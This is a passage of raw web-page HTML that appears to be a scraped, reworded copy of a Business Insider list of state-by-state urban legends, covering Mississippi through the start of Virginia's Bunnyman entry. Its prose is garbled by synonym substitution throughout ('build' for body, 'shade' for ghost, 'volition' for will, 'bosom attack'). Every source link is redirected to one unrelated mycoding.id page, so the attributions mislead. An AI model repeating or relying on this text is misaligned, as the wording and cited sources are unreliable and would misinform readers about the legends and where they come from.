data-srcs='//i.insider.com/5a4f9e774931461f008b4591&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:2844,&quot;aspectRatioH&quot;:2133}}' alt="creepy islsand"> </p></div> <span> <figcaption e-name="image-caption"> <span>Deer Island is fair off the shoreline of Mississippi.</span> <span> <span e-name="image-source" itemprop="creditText">Alexey Stiop/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>The Ghost of Deer Island, reported by the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}'>Sun-Herald</a>, begins from an old pirate story.</p><p>The narrative says that rear in the 1920s, two men were fishing on Deer Island whenever they heard rustling in the bushes, a noise they assumed was caused by untamed hogs. Eventually, they decided to inspect it out and encountered a headless skeleton. They ran rear to their boat, and the skeleton followed them all the way there.</p><p>According to the pirates' story, there was a container that sailed into Biloxi Bay and buried its treasure on Deer Island. The squad decided to behead one of their own and remaining his build rearward to defender their treasure.</p> </div> </div> <div> <h2>MISSOURI: Momo the Missouri Monster</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5d80f5cf6f24eb002d0670d4&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:4992,&quot;aspectRatioH&quot;:3744}}' alt="yeti"> </p></div> <span> <figcaption e-name="image-caption"> <span>Momo was archetypal spotted in Louisiana and afterward moved north.</span> <span> <span e-name="image-source" itemprop="creditText"> <a href="https://en.mycoding.id/category/business" target="_blank" rel="nofollow"> Getty Images </a> </span> </span> </figcaption> </span></figure> <p>Momo is Missouri's type of Bigfoot/Sasquatch. He's been stated to have awful build odor, a pumpkin-shaped head, and an appetite for dogs. In 1968, Momo tried to abduct a 4-year-old boy, although no evidence was always found, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">a local broadcast station</a> reported.</p> </div> <div> <h2>MONTANA: The narrative of Sacrifice Cliff</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f4028b642f43f001ddfe70c&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1809,&quot;aspectRatioH&quot;:1357}}' alt="sacrifice cliffs"> </p></div> <span> <figcaption e-name="image-caption"> <span>Sacrifice Cliff looks complete Billings.</span> <span> <span e-name="image-source" itemprop="creditText">KPV89/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>As reported by the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Billings Gazette</a>, the narrative of Sacrifice Cliff comes from an old Native American legend.</p><p>Two members of the Crow Tribe arrived in their settlement from a trip to discover that nearly everyone there had been infected alongside smallpox and had died. So heartbroken concerning the defeat of their loved ones, the two decided to blindfold their horses and journey off the cliff to associate the tribe on the another side.</p><p>Sacrifice Cliff is apparent from nearly anyplace in Billings, so it's sad (and a bit spooky) to think concerning this narrative during the cliff looms complete the complete city.</p> </div> </div> <div> <h2>NEBRASKA: The poisoned female at Centennial Hall</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f402a1342f43f001ddfe717&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:2500,&quot;aspectRatioH&quot;:1875}}' alt="valentine nebraska"> </p></div> <span> <figcaption e-name="image-caption"> <span>Valentine, Nebraska.</span> <span> <span e-name="image-source" itemprop="creditText">Ken Schulze/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>When Business Insider chose the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">most haunted location in all state</a>, Centennial Hall was a no-brainer. People assertion that multiple ghosts roam the halls.</p><p>But the creepiest narrative of Centennial Hall begins in the 1940s, whenever it was a elevated school.</p><p>The narrative says that a pupil was playing her clarinet, suffered a bosom attack, and died &mdash; since her reed was poisoned. Now, group assertion to awareness chilly spots, comprehend disembodied music, and to have witnessed an bare rocking place commencement to rock, according to the blog <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Theresa's&nbsp;Haunted History of the Tri-State</a>.</p> </div> </div> <div> <h2>NEVADA: The fact concerning Area 51</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5d2ce6c621a86101170e6b69&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:800,&quot;aspectRatioH&quot;:600}}' alt="area 51 nevada"> </p></div> <span> <figcaption e-name="image-caption"> <span>Entrance to Area 51.</span> <span> <span e-name="image-source" itemprop="creditText">SipaPhoto/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>There is perchance no municipal legend, myth, or conspiracy theory additional celebrated than <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">Nevada's Area 51</a>, a mysterious authorities facility that is rumored to be connected alongside aliens. The US authorities officially states that Area 51 is classified because of national security, which lone fuels the fire.</p><p>The secrecy surrounding Area 51 is what makes it inherently creepy, and alongside the authorities admitting to a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">program examining UFOs,</a> the theories concerning what's really going on inner continue to appear additional plausible.</p> </div> </div> <div> <h2>NEW HAMPSHIRE: The witch of Hampton, Goody Cole</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5cd1ed3b93a15208f67c5234&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:4704,&quot;aspectRatioH&quot;:3528}}' alt="witch candles"> </p></div> <span> <figcaption e-name="image-caption"> <span>Her genuine name was Eunice Cole.</span> <span> <span e-name="image-source" itemprop="creditText">BUNDITINAY/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>Eunice "Goody" Cole was the lone female in New Hampshire former to be tried for witchcraft multiple times. Her archetypal accusation was in 1656, and she was charged again in 1671, according to the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Hampton Historical Society.</a></p><p>When she died and her build was recovered, the townspeople were rumored to have staked her through the bosom to forestall her from haunting their town, according to Atlas Obscura.</p><p>People continue to accuse Goody Cole for the misfortunes of Hampton citizens for the former 300 years. For example, a container complete of Hampton residents overturned, and everyone on commission drowned, equal although they were inside swimming extend of shore. People blamed Goody Cole for the collision and for cursing the passengers by having them ignore how to swim.</p> </div> </div> <div> <h2>NEW JERSEY: The Jersey Devil</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f402aa489aff80028ab74bb&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1549,&quot;aspectRatioH&quot;:1161}}' alt="jersey devil"> </p></div> <span> <figcaption e-name="image-caption"> <span>A well-known rendering of the creature.</span> <span> <span e-name="image-source" itemprop="creditText">Bettman/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>The narrative of the Jersey Devil has been about since the 1700s, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Weird NJ</a> reported. The fable states that a female named Mother Leeds became expecting alongside her 13th kid and said, "Let this one be [a/the] devil." Once the kid was born, it grew hooves, wings, horns, and a tail.</p><p>The monster has been spotted periodically throughout former in <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">the Pine Barrens area of New Jersey</a>. The province has embraced the fable so much that it named its hockey squad following it.</p> </div> </div> <div> <h2>NEW MEXICO: La Mala Hora</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5d80f6b96f24eb006a122484&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:5333,&quot;aspectRatioH&quot;:4000}}' alt="dark road"> </p></div> <span> <figcaption e-name="image-caption"> <span>The fable originated in Mexico.</span> <span> <span e-name="image-source" itemprop="creditText"> <a href="https://en.mycoding.id/category/business" target="_blank" rel="nofollow"> Getty Images </a> </span> </span> </figcaption> </span></figure> <div> <p>La Mala Hora, which translates to The Evil Hour, is an being you don't desire to run into on a dreary road. Legend says it archetypal appears as a domain of dreary energy, continually moving and changing its size and shape. If you appearance at it, it volition run you insane and volition gradually slay you.</p><p>At another times, it appears as a scary-looking woman. It's stated that if you see her at a crossroads, you or person in your family volition die.</p> </div> </div> <div> <h2>NEW YORK: Cropsey</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f402b8a89aff80028ab74c0&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1208,&quot;aspectRatioH&quot;:906}}' alt="niagara falls abandoned"> </p></div> <span> <figcaption e-name="image-caption"> <span>An abandoned hospital in New York.</span> <span> <span e-name="image-source" itemprop="creditText">Johnny Joo/Barcroft Media/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>The narrative of Cropsey has many iterations, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">The Lineup</a> reported, but it mostly tells the narrative of a man who stalked a sleep-away camp/psychiatric facility/children's hospital, had a hook for a hand, and killed children who were wandering solitary at night. Almost anyone who went to campsite in upstate New York has heard concerning Cropsey.</p><p>Things took a additional sinister rotate whenever a documentary posited that Cropsey was really real: a convicted kid kidnapper named Andre Rand, wrote <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">The New York Times.</a></p> </div> </div> <div> <h2>NORTH CAROLINA: The beast of Bladenboro</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f402efc42f43f001ddfe739&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:2035,&quot;aspectRatioH&quot;:1526}}' alt="florida bobcat"> </p></div> <span> <figcaption e-name="image-caption"> <span>Most group have been convinced the beast was a particularly ample bobcat.</span> <span> <span e-name="image-source" itemprop="creditText">Don Fink/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>In the 1950s, multiple dogs were established deceased and drained of lifeblood in the North Carolina town of Bladenboro, according to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">North Carolina Ghosts</a>. People believed a vampiric beast was in the woods, and they tried to hunt the animal.&nbsp;</p><p>Today, the town of Bladenboro has embraced its history, and residents really clasp a <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Beast Fest</a> all year. While several group are convinced the beast was likely a particularly ample bobcat, it's never been confirmed exactly what was stalking their town.</p> </div> </div> <div> <h2>NORTH DAKOTA: White Lady Lane</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5d80f7776f24eb00226bb4bb&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:4843,&quot;aspectRatioH&quot;:3632}}' alt="ghost on bridge"> </p></div> <span> <figcaption e-name="image-caption"> <span>The highway runs through Tetrault Woods.</span> <span> <span e-name="image-source" itemprop="creditText">iStock/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>The narrative of White Lady Lane is a tragic one, according to Only In Your State.</p><p>The fable states that a young female became expecting out of wedlock, and her religious parents forced her to wed the baby's father. The baby ended up dying following their wedding. The girl, so disturb concerning her baby and her forced marriage, hanged herself from a extend in her wedding dress. Locals assertion to motionless see her shade hanging from the bridge.</p> </div> </div> <div> <h2>OHIO: The werewolf of Defiance.</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5a4fb24249314693018b45e4&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:3869,&quot;aspectRatioH&quot;:2902}}' alt="werewolf"> </p></div> <span> <figcaption e-name="image-caption"> <span>This individual makes a beautiful convincing werewolf.</span> <span> <span e-name="image-source" itemprop="creditText">Kl Petro/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>During the summer of 1972, the group of Defiance stated they were being terrorized by a werewolf, per <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}'>Mysterious Universe.</a></p><p>The sightings continually happened at night, mostly by the train tracks. A brace of women stated it would try to enter their houses by rattling the doorknobs. The animal was stated to be huge, hairy, and dressed in rags.</p><p>But following summer ended, the beast disappeared, never to be heard from again. But the narrative lingers.</p> </div> </div> <div> <h2>OKLAHOMA: The mysterious Shaman's portal</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5d80f8186f24eb002700ee60&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:5333,&quot;aspectRatioH&quot;:4000}}' alt="dunes"> </p></div> <span> <figcaption e-name="image-caption"> <span>The "portal" is located in Beaver Dunes Park.</span> <span> <span e-name="image-source" itemprop="creditText">500px/Getty Images</span> </span> </figcaption> </span></figure> <div> <p>The mysterious occurrences in Beaver Dunes Park have been attributed to the fact that it was built upon ancient Native American interment grounds, which is why it's called the Shaman's portal, according to Only In Your State.</p><p>It's additionally known as the Oklahoma Bermuda Triangle.</p><p>Mysterious things have happened in the park, starting alongside the Spanish conquistadors who went missing during searching for aureate in the 1500s. Since then, paranormal action seekers have flocked to the dunes. Some group assertion that a UFO wrecked there, and a collection in the '90s who tested the dirt stated it was "abnormal."</p> </div> </div> <div> <h2>OREGON: The Bandage Man of Cannon Beach</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f402f8a42f43f001ddfe73f&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:2066,&quot;aspectRatioH&quot;:1550}}' alt="cannon coast oregon"> </p></div> <span> <figcaption e-name="image-caption"> <span>Cannon Beach is a beautiful place.</span> <span> <span e-name="image-source" itemprop="creditText">Olena Yakobchuk/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>The Bandage Man is the American type of a mummy, wrote the <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Cannon Beach History Center and Museum.</a></p><p>He is rumored to be the shade of a logger who died in a sawmill accident and now terrorizes teenagers who suspend out at a deserted area of a highway near Cannon Beach. Stories say that he knocks on car windows to try to get in and smells really, really bad.</p> </div> </div> <div> <h2>PENNSYLVANIA: The bus to nowhere</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5a538eb949314638048b4689&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:3312,&quot;aspectRatioH&quot;:2484}}' alt="empty bus"> </p></div> <span> <figcaption e-name="image-caption"> <span>The narrative of this bus is fairly sad.</span> <span> <span e-name="image-source" itemprop="creditText">pcruciatti/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>In Philadelphia, there's rumored to be a bus that doesn't have an end destination, according to Only In Your State. The narrative says that the bus lone picks up passengers who are at their lowest moments and need to get distant from their problems. Once the passenger is prepared to visage the world, they can get off the bus.</p><p>But the passenger has no idea how lengthy they've been on the bus for &mdash; it could have been hours, days, or equal years.</p> </div> </div> <div> <h2>RHODE ISLAND: The Devil's footprints</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5f43e14b89aff80028ab77c9&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:3124,&quot;aspectRatioH&quot;:2343}}' alt="rhode isle dam"> </p></div> <span> <figcaption e-name="image-caption"> <span>The rock is location in the North Kingston, Rhode Island, forest.</span> <span> <span e-name="image-source" itemprop="creditText">U.S. Fish and Wildlife Service Northeast Region</span> </span> </figcaption> </span></figure> <div> <p>There is a rock on Devil's Foot Road that appears to display a normal individual footprint and a cloven hoof, according to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">a Medium blog</a> concerning New England folklore.</p><p>The narrative goes that a Native American female murdered a pale man and fled the environment of the crime.</p><p>While running, she was stopped by another man. She cried out for the Devil to preserve her, but the man admitted that he himself was the Devil and stomped his feet on the dirt to demonstrate that he had a cloven hoof, which the rock motionless shows to this day. You can see it on <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Waymarking.</a></p> </div> </div> <div> <h2>SOUTH CAROLINA: The death of Julia Legare</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f40328542f43f001ddfe760&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:1263,&quot;aspectRatioH&quot;:947}}' alt="island"> </p></div> <span> <figcaption e-name="image-caption"> <span>Edisto Island.</span> <span> <span e-name="image-source" itemprop="creditText">digidreamgrafix/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>In the 1800s, the Legares were a well-to-do South Carolinian family that had homes on the mainland and on Edisto Island. The daughter, Julia, got sick, was pronounced dead, and was&nbsp;buried inner their family mausoleum, according to Edisto's website.</p><p>Years later, another associate of the Legare family died, and whenever their tomb was opened up, the remains of Julia were established exterior her coffin. The narrative says that Julia had been in a coma, and had woken up to try to escape her tomb, but sadly died.</p><p>After the archetypal reopening of the Legare mausoleum, the entrance couldn't appear to remain shut. The Legares tried multiple distinct doors, and all sole time, the entrance was established open. People accept that Julia's shade didn't desire to be locked in that tomb any longer.</p> </div> </div> <div> <h2>SOUTH DAKOTA: Walking Sam and the Pine Ridge Indian Reservation</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f4032ea89aff80028ab7505&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:3337,&quot;aspectRatioH&quot;:2502}}' alt="dark forest"> </p></div> <span> <figcaption e-name="image-caption"> <span>The booking is southeast of Deadwood, South Dakota.</span> <span> <span e-name="image-source" itemprop="creditText">Mimadeo/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>Purportedly complete 7 feet lofty and extremely slim, Walking Sam is stated to appear on the streets of the Pine Ridge Indian Reservation at night, and he tries to convince teenagers to obtain their own lives, per <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Hot 104.7.</a></p><p>Whether Walking Sam is real, item tragic is going on at the reservation. From December 2014 to May 2015, there were 103 attempts by group to end their lives at Pine Ridge, reported&nbsp;<a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}'>The Daily Dot.</a></p> </div> </div> <div> <h2>TENNESSEE: The boy in the washroom at Pine Haven School</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5d80f8ce6f24eb00233c9744&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:1200,&quot;aspectRatioH&quot;:900}}' alt="Abandoned boys academy NYC"> </p></div> <span> <figcaption e-name="image-caption"> <span>An abandoned school.</span> <span> <span e-name="image-source" itemprop="creditText">Sherman Cahal/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>The Pine Haven School, located in Jamestown, is old and abandoned, and&nbsp;according to&nbsp;<a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}'>Urban Legends Online</a>, it's stated to be haunted.</p><p>A tragic narrative supposedly took location there, anywhere a boy was cornered by a collection of bullies in the washroom and shoved into a mirror, which shattered and killed him.&nbsp;</p><p>To evade getting caught committing murder, the bullies decided to inter the build underneath the floorboards. Today, group say that if you go inner the school, you can see the consideration of the boy if you appearance in the mirror.</p> </div> </div> <div> <h2>TEXAS: The Candy Lady</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f40339042f43f001ddfe767&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:902,&quot;aspectRatioH&quot;:676}}' alt="winter olympics 2018 south korea abandoned ski retreat photos 14"> </p></div> <span> <figcaption e-name="image-caption"> <span>Candy started appearing on windowsills.</span> <span> <span e-name="image-source" itemprop="creditText">Kim Hong-Ji/Reuters</span> </span> </figcaption> </span></figure> <div> <p>According to Urban Legends Online, in the first 1900s, children in an unnamed agrarian town in Texas started to disappear, and the residents blamed the Candy Lady.</p><p>The narrative says that she would go about leaving candy on children's windows, eventually luring the kids out alongside notes attached, promising additional candy.</p><p>The narrative picked up steam whenever a farmer reportedly established rotten teeth on his ranch and afterward established the build of a boy alongside his pockets stuffed alongside candy.</p> </div> </div> <div> <h2>UTAH: The curse of the Escalante Petrified Forest</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f40356b42f43f001ddfe771&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:2222,&quot;aspectRatioH&quot;:1666}}' alt="Escalante Petrified Forest"> </p></div> <span> <figcaption e-name="image-caption"> <span>Escalante Petrified Forest.</span> <span> <span e-name="image-source" itemprop="creditText">IrinaK/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>While it is forbidden to obtain item from Escalante Petrified Forest State Park, a fable says that anyone who takes pieces of petrified timber from the park volition be cursed alongside bad luck, sickness, and accidents, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">KSL</a> reported.</p><p>Park director Kendall Farnsworth told KSL in 2014 that he gets concerning a dozen packages all twelvemonth containing a part of timber from the park and an apologetic letter detailing the sender's misfortunes.&nbsp;</p> </div> </div> <div> <h2>VERMONT: The icy people</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/5f4036ec42f43f001ddfe77a&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:2500,&quot;aspectRatioH&quot;:1875}}' alt="vermont forest"> </p></div> <span> <figcaption e-name="image-caption"> <span>Winters in Vermont are brutal.</span> <span> <span e-name="image-source" itemprop="creditText">Nichole Houghton/Shutterstock</span> </span> </figcaption> </span></figure> <div> <p>First appearing in a diary that was published in the delayed 1800s, the fable of the hibernating older group recounts the narrative of a mediocre family exterior Montpelier who couldn't oversee to nourish and clothe the oldest members of their family, so they froze the group and buried them, wrote <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Vermonter.</a></p><p>Legend has it that whenever fountain rolled around, the elders thawed out and were fair fine.</p> </div> </div> <div> <h2>VIRGINIA: The Bunnyman</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/5d80f9736f24eb009a4351e3&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:2417,&quot;aspectRatioH&quot;:1813}}' alt="A man walks below bunnyman bridge"> </p></div> <span> 